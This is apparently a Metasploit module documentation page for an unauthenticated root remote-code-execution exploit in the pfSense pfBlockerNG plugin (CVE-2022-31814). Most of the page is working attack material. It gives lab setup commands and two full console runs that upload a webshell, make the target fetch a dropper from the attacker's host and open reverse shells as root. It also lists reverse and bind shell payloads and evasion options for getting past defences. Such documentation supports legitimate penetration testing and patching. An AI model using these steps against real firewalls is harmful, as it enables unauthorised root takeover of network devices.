pfSense plugin pfBlockerNG unauthenticated RCE as root - Metasploit


This page contains detailed information about how to use the exploit/unix/http/pfsense_pfblockerng_webshell metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: pfSense plugin pfBlockerNG unauthenticated RCE as root
Module: exploit/unix/http/pfsense_pfblockerng_webshell
Source code: modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb
Disclosure date: 2022-09-05
Last modification time: 2022-10-12 19:23:59 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-31814

pfBlockerNG is a popular pfSense plugin that is not installed by default. It’s generally used to block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-service-down: Module may crash the service, and the service remains down.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/unix/http/pfsense_pfblockerng_webshell
msf exploit(pfsense_pfblockerng_webshell) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module exploits a vulnerability in the pfSense plugin, pfBlockerNG that allows remote unauthenticated attackers to execute execute arbitrary OS commands as root via shell meta characters in the HTTP Host header. Versions <= 2.1.4_26 are vulnerable. Note that version 3.x is unaffected.

Setup

Download the pfSense image:

wget https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz

To obtain a vulnerable copy of the pfBlockerNG plugin, you can build it from source from the official pfSense github repo, or it can be downloaded from the following link:

wget https://files01.netgate.com/pkg/pfSense_plus-v21_09_aarch64-pfSense_plus_v21_09/All/pfSense-pkg-pfBlockerNG-2.1.4_26.pkg

Install the .iso file in your favorite virtualizing software. You may need to use the UEFI or BIOS installation options to install the software correctly. For testing, BIOS was used. You may also need to set the WAN settings. For this you can just use the default or set it to hn0 which should also be the default, and this will work fine for testing purposes.

Once installed pfSense will start and you can access the web GUI by navigating to https://<pfSense-IP-address>/. Sign into the application with username: admin password: pfsense

Now at the top of the screen select System -> Advanced. Scroll down to the section named Secure Shell and tick the box beside Enable Secure Shell. Then click the Save button at the the bottom of the page to apply the changes.

From your host machine we can now transfer the vulnerable package to the pfSense VM using scp

scp pfSense-pkg-pfBlockerNG-2.1.4_26.pkg root@<pfSense-IP-address>:/

(the root password of the VM will be the same as the admin password: pfsense)

Install the vulnerable package with: pkg install pfSense-pkg-pfBlockerNG-2.1.4_26.pkg

Options


WEBSHELL_NAME

This is the name of the webshell that will get uploaded to the pfsense target sans the ".php" ending. If left unset the file name will be randomly generated.

Verification Steps


  1. Start msfconsole
  2. use unix/http/pfsense_pfblockerng_webshell
  3. Set the RHOST and LHOST options
  4. exploit
  5. Receive a shell as the root user

Scenarios


pfSense 2.5.2-RELEASE with pfSense-pkg-pfBlockerNG-2.1.4_26.pkg installed

msf6 > use exploit/unix/http/pfsense_pfblockerng_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set RHOSTS 172.23.40.111
RHOSTS => 172.23.40.111
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set LHOST 172.23.47.143
LHOST => 172.23.47.143
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set LPORT 4453
LPORT => 4453
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set SRVPORT 8383
SRVPORT => 8383
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show options

Module options (exploit/unix/http/pfsense_pfblockerng_webshell):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         172.23.40.111    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          443              yes       The target port (TCP)
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                              listen on all addresses.
   SRVPORT        8383             yes       The local port to listen on.
   SSL            true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                         no        The URI to use for this exploit (default is random)
   VHOST                           no        HTTP server virtual host
   WEBSHELL_NAME                   no        The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unse
                                             t.


Payload options (bsd/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST  172.23.47.143    yes       The listen address (an interface may be specified)
   LPORT  4453             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   BSD Dropper


msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > run

[*] Started reverse TCP handler on 172.23.47.143:4453 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading shell...
[*] Webshell name is: zFOOjmPXX.php
[+] The target is vulnerable.
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://172.23.47.143:8383/ITtfiF
[*] Client 172.23.40.111 (curl/7.76.1) requested /ITtfiF
[*] Sending payload to 172.23.40.111 (curl/7.76.1)
[+] Deleted /usr/local/www/zFOOjmPXX.php
[*] Command shell session 1 opened (172.23.47.143:4453 -> 172.23.40.111:30301) at 2022-10-12 19:08:21 -0500

id
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Server stopped.

uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense  amd64
exit
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set TARGET 0
TARGET => 0
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show options

Module options (exploit/unix/http/pfsense_pfblockerng_webshell):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS         172.23.40.111    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          443              yes       The target port (TCP)
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                              listen on all addresses.
   SRVPORT        9933             yes       The local port to listen on.
   SSL            true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                         no        The URI to use for this exploit (default is random)
   VHOST                           no        HTTP server virtual host
   WEBSHELL_NAME                   no        The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unse
                                             t.


Payload options (cmd/unix/reverse_openssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.23.47.143    yes       The listen address (an interface may be specified)
   LPORT  4545             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > run

[*] Started reverse double SSL handler on 172.23.47.143:4545 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading shell...
[*] Webshell name is: jIuhcpoe.php
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XqZbye7zG7tGBVWc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XqZbye7zG7tGBVWc\n"
[*] Matching...
[*] A is input...
[+] Deleted /usr/local/www/jIuhcpoe.php
[*] Command shell session 2 opened (172.23.47.143:4545 -> 172.23.40.111:33941) at 2022-10-12 19:22:13 -0500

id
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root

Go back to menu.

Msfconsole Usage


Here is how the unix/http/pfsense_pfblockerng_webshell exploit module looks in the msfconsole:

msf6 > use exploit/unix/http/pfsense_pfblockerng_webshell

[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show info

       Name: pfSense plugin pfBlockerNG unauthenticated RCE as root
     Module: exploit/unix/http/pfsense_pfblockerng_webshell
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-09-05

Provided by:
  IHTeam
  jheysel-r7

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-service-down

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   BSD Dropper

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT          443              yes       The target port (TCP)
  SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0
                                            .0.0 to listen on all addresses.
  SRVPORT        8080             yes       The local port to listen on.
  SSL            true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                         no        The URI to use for this exploit (default is random)
  VHOST                           no        HTTP server virtual host
  WEBSHELL_NAME                   no        The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if le
                                            ft unset.

Payload information:

Description:
  pfBlockerNG is a popular pfSense plugin that is not installed by 
  default. It���s generally used to block inbound connections from 
  whole countries or IP ranges. Versions 2.1.4_26 and below are 
  affected by an unauthenticated RCE vulnerability that results in 
  root access. Note that version 3.x is unaffected.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-31814
  https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/

Module Options


This is a complete list of options available in the unix/http/pfsense_pfblockerng_webshell exploit:

msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show options

Module options (exploit/unix/http/pfsense_pfblockerng_webshell):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          443              yes       The target port (TCP)
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.
                                             0.0.0 to listen on all addresses.
   SRVPORT        8080             yes       The local port to listen on.
   SSL            true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                         no        The URI to use for this exploit (default is random)
   VHOST                           no        HTTP server virtual host
   WEBSHELL_NAME                   no        The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if l
                                             eft unset.

Payload options (bsd/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   BSD Dropper

Advanced Options


Here is a complete list of advanced options supported by the unix/http/pfsense_pfblockerng_webshell exploit:

msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show advanced

Module advanced options (exploit/unix/http/pfsense_pfblockerng_webshell):

   Name                     Current Setting                        Required  Description
   ----                     ---------------                        --------  -----------
   AllowNoCleanup           false                                  no        Allow exploitation without the possibility of cleaning up files
   AutoCheck                true                                   no        Run check before exploit
   CMDSTAGER::DECODER                                              no        The decoder stub to use.
   CMDSTAGER::FLAVOR        auto                                   no        The CMD Stager to use. (Accepted: auto, curl)
   CMDSTAGER::SSL           false                                  no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                 no        Writable directory for staged files
   CMDSTAGER::URIPATH                                              no        Payload URI path for supported stagers
   ContextInformationFile                                          no        The information file that contains context information
   DOMAIN                   WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                   no        Conform to IIS, should work for most servers. Only set to false for
                                                                             non-IIS servers
   DisablePayloadHandler    false                                  no        Disable the handler code for the selected payload
   EXE::Custom                                                     no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR               false                                  no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack            false                                  no        Use the default template in case the specified one is missing
   EXE::Inject              false                                  no        Set to preserve the original EXE function
   EXE::OldMethod           false                                  no        Set to use the substitution EXE generation method.
   EXE::Path                                                       no        The directory in which to look for the executable template
   EXE::Template                                                   no        The executable template file name.
   EnableContextEncoding    false                                  no        Use transient context when encoding payloads
   FileDropperDelay                                                no        Delay in seconds before attempting cleanup
   FingerprintCheck         true                                   no        Conduct a pre-exploit fingerprint verification
   ForceExploit             false                                  no        Override check result
   HttpClientTimeout                                               no        HTTP connection and receive timeout
   HttpPassword                                                    no        The HTTP password to specify for authentication
   HttpRawHeaders                                                  no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                    no        The HTTP username to specify for authentication
   ListenerBindAddress                                             no        The specific IP address to bind to if different from SRVHOST
   ListenerBindPort                                                no        The port to bind to if different from SRVPORT
   ListenerComm                                                    no        The specific communication channel to use for this service
   MSI::Custom                                                     no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR               false                                  no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                       no        The directory in which to look for the msi template
   MSI::Template                                                   no        The msi template file name
   MSI::UAC                 false                                  no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                       no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression           false                                  no        Enable SSL/TLS-level compression
   SSLServerNameIndication                                         no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                                             uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                             .2)
   SendRobots               false                                  no        Return a robots.txt file if asked for one
   URIHOST                                                         no        Host to use in URI (useful for tunnels)
   URIPORT                                                         no        Port to use in URI (useful for tunnels)
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                            X 12.2; rv:97.0) Gecko/20100101 Firef
                            ox/97.0
   VERBOSE                  false                                  no        Enable detailed status messages
   WORKSPACE                                                       no        Specify the workspace for this module
   WfsDelay                 2                                      no        Additional delay in seconds to wait for a session

Payload advanced options (bsd/x64/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AppendExit                  false            no        Append a stub that executes the exit(0) system call
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid            false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid            false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy b
                                                          ut directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the unix/http/pfsense_pfblockerng_webshell module can exploit:

msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   BSD Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/pfsense_pfblockerng_webshell exploit:

msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/bsd/x64/exec                                      normal  No     BSD x64 Execute Command
   1   payload/bsd/x64/shell_bind_ipv6_tcp                       normal  No     BSD x64 Command Shell, Bind TCP Inline (IPv6)
   2   payload/bsd/x64/shell_bind_tcp                            normal  No     BSD x64 Shell Bind TCP
   3   payload/bsd/x64/shell_bind_tcp_small                      normal  No     BSD x64 Command Shell, Bind TCP Inline
   4   payload/bsd/x64/shell_reverse_ipv6_tcp                    normal  No     BSD x64 Command Shell, Reverse TCP Inline (IPv6)
   5   payload/bsd/x64/shell_reverse_tcp                         normal  No     BSD x64 Shell Reverse TCP
   6   payload/bsd/x64/shell_reverse_tcp_small                   normal  No     BSD x64 Command Shell, Reverse TCP Inline
   7   payload/generic/custom                                    normal  No     Custom Payload
   8   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   9   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   10  payload/generic/ssh/interact                              normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the unix/http/pfsense_pfblockerng_webshell exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, defl
                                                            ate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error uploading shell, the system is likely patched.


Here is a relevant code snippet related to the "Error uploading shell, the system is likely patched." error message:

112:	      'uri' => normalize_uri(target_uri.path, "/#{@webshell_name}"),
113:	      'vars_post' => {
114:	        @parameter_name.to_s => 'id'
115:	      }
116:	    )
117:	    return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || check_resp.body.nil? || !check_resp.body.include?('uid=0(root) gid=0(wheel)')
118:	
119:	    Exploit::CheckCode::Vulnerable
120:	  end
121:	
122:	  def execute_command(cmd, _opts = {})

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • IHTeam
  • jheysel-r7

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.